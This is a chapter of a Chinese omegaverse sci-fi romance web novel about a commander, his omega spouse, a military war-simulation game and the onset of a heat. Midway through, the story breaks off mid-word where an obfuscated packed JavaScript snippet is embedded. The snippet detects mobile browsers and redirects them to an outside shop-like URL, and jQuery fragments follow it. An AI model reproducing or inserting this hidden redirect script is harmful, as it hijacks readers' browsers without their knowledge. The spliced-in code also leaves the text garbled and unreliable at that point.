屋里只有一点点昏暗的光线,甚至有点冷。
参商的拐杖点地的声音从楼上传来,片刻后,他的身影出现在楼梯口。
孟逐星抬头仰望他。
他对参商完全是生理性喜欢,光是看着就忍不住想笑。
孟逐星说:“下来吃饭吧。”
妻子。
14. 第 14 章
14/七流
参商抱着孟逐星送来的电脑,窝在床上,一页一页地浏览着文献。
深秋,家里开着地暖,有些热。
他穿的衣服很短,背弓起时,会露出一截窄窄的腰。
参商的目光很专注,他的视线久久停留在一篇文献上。
《常见臝虫分类及进化液原料提取》……军部的进化液和抑制剂一样,一向是管控药品。
所以说进化液里真的含有虫子原浆,尝起来有股恶心的腐肉味。
当然,里面没有提及任何“进化液有可能改变性别”的可能。
这篇文献应该是孟逐星不小心误触下载的。
参商想,他也许还是对当年的事有些耿耿于怀,要不然也不至于看个标题就点进来了。
放在枕边的手机铃声响起。
参商看了眼,来电人是匹配中心赵主任。
雷平也在匹配中心工作。但同样是主任,赵主任的官职高得多,算是苍兰星匹配中心的最高负责人。
赵兰因询问:“参商,我听说孟司令搬到你家附近了。而且在今天下午拜访了你。”
“嗯。”
赵兰因语气略带犹豫:“他没做什么吧?如果你们相处过程中发生了什么不愉快,可以告诉我,我汇报给总部……”
赵兰因虽然是beta,但当过兵,有点人脉。
他托人问了一下孟逐星在军队里的风评。跨星系通讯很不方便,赵兰因今天才收到回信。
还在军队任职的熟人表示,孟逐星的脾气极差,其他军团的人亦有耳闻,似乎还有暴力倾向。
……这是一位位高权重的丈夫,但未必是良配。
赵兰因表述的很隐晦。
但参商依然听懂了他的言下之意。
参商的手无意识地敲打着电脑的键盘。
“赵主任,”他开口,语气很平静,但又字字带刀,“如果我说,今天下午,我被婚内强.奸了,匹配中心打算怎么做呢?再为我换一个丈夫吗?但是现在这个丈夫不也是你们安排的吗?”
赵兰因大脑有瞬间的空白。
他勃然大怒,手都在微微颤抖:“他怎么能这样!我要举报他——”
赵兰因要气疯了,还有一些想哭。
参商不得不打断他:“没有。这只是我的一个假设。孟逐星挺好的,性格也不错。下午我们聊了一会天,晚上他还送了饭过来。”
孟逐星甚至送完就走了,都没有留下来打扰他吃饭。
赵兰因的暴怒这才得到控制。但不知道为什么,却感觉到一种更深层次的悲伤与乏力。
他沉默了足足半分钟:“对不起,参商。”
赵兰因不知道对不起什么,只是感觉很抱歉。
参商无声地笑了笑:“我没有怪你的意思,联盟的制度就是这样的,你也只是在做自己的工作……该说抱歉的是我。对不起,晚上酒喝多了,不该朝你发火。”
他的愤怒不该发泄给无辜的人。只是人要如何克服恐惧,去恨一头利维坦?
恨,是需要报复,要用血去平息的啊。
思路被这么一通电话打断,参商迅速失去了继续看资料的兴致。
他正打算关电脑,眼神却被菜单栏上的一个快捷方式吸引。
软件名字叫“指挥官模拟器(内测版)”。
“……电脑都给我了,应该不会有什么不能看的东西吧。”
参商点击图标,一个类似主机游戏的程序启动。
[欢迎回来,孟逐星(少将)。]
账号竟然自动登录了。
参商粗略浏览了一遍,这是军部自主研发的AI战场数据大模型,被包装成策略推演类游戏的样式,专门用来培养战场指挥官。
考虑到不同星系网速不同,目前没有联网模式。但会云端同步账号数据。
参商打开孟逐星账号。
场次3,胜率66.6%,军队战损率24.1%……综合评分92。
参商看了眼时间,还不到晚上九点。于是,他点击主页上写着“模拟战争”四个字的按钮。
游戏,启动。
……
第二天开董事会,参商靠在椅子上,眼睛介乎于开着一条缝和闭上之间。
开完会,他实在困得有些受不了,给雷平打去电话:“我好困,来学校接我一下……”
雷平开着他的小轿车,风风火火赶来。
参商拉开车门,近乎是钻进去的。他躺在后车厢,一句话都不想说。
雷平欲言又止:“小孟昨天搬过去了吧……哎呀,真是……就算你们还年轻,也不能这样糟蹋啊。几点睡的?”
参商压根没听清他前半句,含糊不清地回答:“……没睡着。”
谁知道一把游戏时间这么长。
雷平尖叫:“一晚上?!!”不对,董事会是下午1点开的!
“那你还来开会!他还不来接你?!”
卧槽,雷平彻底怒了。
参商:zzzZ。
半个小时后,车在参商家门口停下。
雷平率先下车,站在道德的高地上,对着门外等候多时的孟逐星指指点点。
路过送文件的唐文瞪大眼,生怕孟逐星给雷平一拳。
哎哟。要是脑浆打出来了,他是先帮忙收尸,还是先叫救护车啊?
但暴力事件没有发生,孟逐星只是略微低着头,频频点头,看起来很温顺。
不时伴随着几句窝囊发言:“是是。”
“我的问题,你说的对。”
“下次注意。”
唐文很想录下来,但又怕孟逐星揍他。只好遗憾地离开。
雷平看孟逐星态度良好,再加上话说多了实在口渴,这才松口:“参商在后车座上。”
孟逐星这才打开车门,俯下身,弯腰,把参商拦腰抱起。
他还不知道参商是熬夜打游戏。被雷平劈头盖脸骂一顿,孟逐星也有点莫名其妙。但无所谓了,雷平打电话让他过来接人。
参商再怎么瘦也有一米七八,轻不到哪儿去。孟逐星却觉得他像根随时都会飘走的羽毛。
于是,他更用力地抱住参商。
参商轻轻哼了一声,在他怀里自己找了个舒服的位置,没有醒。
怀里的参商闻起来好香。孟逐星抱着自己的妻子,一边往楼上走,一边忍不住低头狂嗅。嘴角控制不住高高扬起。
天啊,好软。
好香。
好娇。
好可爱。
好想……等等,我抑制剂呢?不能再闻了,再闻口水都要流出来了。
孟逐星推开参商的卧室门。
没经过同意进别人卧室,孟逐星有点心虚,但不多。
这也是没办法的事啊!总不能让参商睡他床吧!
孟逐星小心翼翼地在床边坐下,然后脱掉参商的鞋子,袜子,外套……裤子就算了。再脱就有点变态了。
中途,参商短暂地醒来过。看清楚孟逐星那张脸后,又闭上眼。
果然还是不该熬个通宵,参商想,他可能有些发烧了,身体软绵绵的,没什么力气……
这感觉和omega发情期的前兆也挺像的,但不应该。
omega的发情期半年一次,他刚结束。下一次在五个月后。
参商很快沉沉睡去。
孟逐星给参商盖上被子,心里充满柔情蜜意。
不知道为什么好渴,还有点饿。
孟逐星站在床边,守了参商一会,拉上厚厚的窗帘,摸黑,蹑手蹑脚地从他的卧室里退了出去。
……
下午上班,孟逐星有点心不在焉。
他要把办公室从第八星系主星搬到苍兰星。
苍兰星的基建不合格,为了这件事,军部大楼最近一段时间尘土飞扬。
这是在安装新的卫星信号塔。
联盟目前能做到星系内即时通讯,但想跨星系通讯,会麻烦很多,需要专门的卫星链设备。这设备甚至无法用钱买到,需要联盟总部审批。
公文没什么好看的,这里又不是前线。需要批阅的无非就是军费申请,星际巡逻;偶尔会有星系内的军校,邀请孟逐星讲课或者当挂名校长。
孟逐星一边在文件上签名,一边想着晚上到底该准备什么菜。
今天参商睡得晚,估计要半夜才醒,先准备点饭菜备着。也不知道参商昨天晚上干嘛了,熬这么狠……看文献?
就在孟逐星胡思乱想的时候,唐文大步流星走进来:“舰长,元帅找你。”
孟逐星职位是第八星系军区司令。和他不熟的当然都叫司令,但唐文是他亲兵,叫舰长习惯了,也没有想改的意思。
就像联盟一共六个军团,每个军团都有一位元
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225925|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帅;唐文也只会叫第三军团的陈风眠为元帅。
通讯设施还没建好,想对话只能去专门的“电话亭”,这是军部专门的情报机构,非大事不会启用。
孟逐星立刻起身:“怎么?前线出问题了?”
唐文摇头,表示自己并不清楚。
孟逐星验证过指纹、虹膜、DNA,终于站在电话亭内。
陈风眠的全息影像是淡淡的荧光蓝色,显然有些年纪了,两鬓斑白。
星际人年均寿命很长,这种“老年化”的体征并不常见,多半代表生命已经进入倒计时。
陈风眠大概快退休了。
第三军团好几名上将盯着这个位置,打得头都要掉了。可惜陈风眠口风很严,一直没有透露过准备推谁上位。
前银河时期,一些聪明的老人也会这样,直到死后才公布遗嘱。避免底下的子女办事不够卖力。
陈风眠开口:“孟逐星,两小时前,帝星指挥部的负责人发来通知,说你在模拟的‘开罗星保卫战’里胜出;指挥部要求你向上级汇报作战思路。考虑到苍兰星信号不好,给你一周时间准备。”
孟逐星肉眼可见地愣住。
开罗星曾经是第四星系的首都。七百年前,异星联军声东击西,假装大举进攻第五星系。开罗星军队前往第五星系协助,结果后方空虚,在虫族袭击下全线覆灭。
不到两天,开罗星就从繁华的首都沦为一颗死星。
虫族结构和人类很不一样。它们就像是蝗虫,走到哪,吃到哪。不止吃人,也吃“星球”。
每一颗生命星都是包裹着榛子的巧克力球,吃掉的星球会被各种族的“王虫”分解为营养物质,反哺给族群。
没人知道这群毫无理智的虫子到底想干嘛。有人把它们比作宇宙身体里的癌细胞。
一直到现在,开罗星都是寸草不生的状态。
网上有无数键盘军事家,就这次战役展开过讨论。假设自己是开罗星守卫军,面对敌军时应该如何行动,分析得头头是道。
可惜,参数投进军部的战争大模型里,都跑不通。
游戏里肯定不会指名道姓说“开罗星”,只有一个相似的环境。游戏和现实里也有很大区别,现实的变量无法预测。谁也不知道蝴蝶在何时扇动翅膀。
但游戏里的胜利,依然对现实有很大参考价值。
陈风眠见他迟迟没反应,抬头看了他一眼,调侃道:“怎么,玩游戏玩傻了?看云端数据,你昨天晚上九点登录的,今天下午才下线。现在还在军部上班,不补觉给自己做精神力耐受训练吗?”
孟逐星回过神:“不,不是的元帅。我有事情汇报,昨天登录账号的不是我,是我爱人。”
*
晚上八点。
-参商,醒了吗?
九点。
-还在睡?
十点。
-有件事需要同你商量,不知道算不算好消息,但我觉得你听到会高兴的。醒了一定要回我消息啊!
晚上十一点。
孟逐星用钥匙打开门,开灯,把餐盒放在桌上。
参商睡得太死,发消息一直没回复。
从下午回家到现在也有八九个小时了,孟逐星有些不放心。
“参商?”他在客厅喊了声。等了一会,也没有回答。
孟逐星朝着楼上走去,顺手打开走廊的灯。
人是他下午抱回卧室的。
孟逐星来到楼上唯一紧闭的房门前,轻轻敲了敲。
“参商,醒了吗?我进来看一眼噢。”
里面的人没说话,那孟逐星当他默许了。
孟逐星拧开门把手,只有一条窄窄的缝。
他的身体骤然僵住。
omega信息素的味道从门内传来。
和之前那种平淡柔和的气息不太一样,浓烈到近乎媚态。
孟逐星的唾液开始疯狂分泌,眼神直勾勾的,刚打过的短效抑制剂像没打一样。
……孟逐星是接受过特殊训练的Alpha。
他以莫大毅力,挣扎着往后退了好几步,最后碰到走廊上的盆栽,踉跄着跌倒,狼狈地坐在地上。
碎开的玻璃花瓶划伤他的手,疼痛带来短暂的清醒。
孟逐星抬起胳膊,用手背擦着鼻血,越擦越多。眼神在清醒和迷茫之间挣扎。
妻子的发情期到了。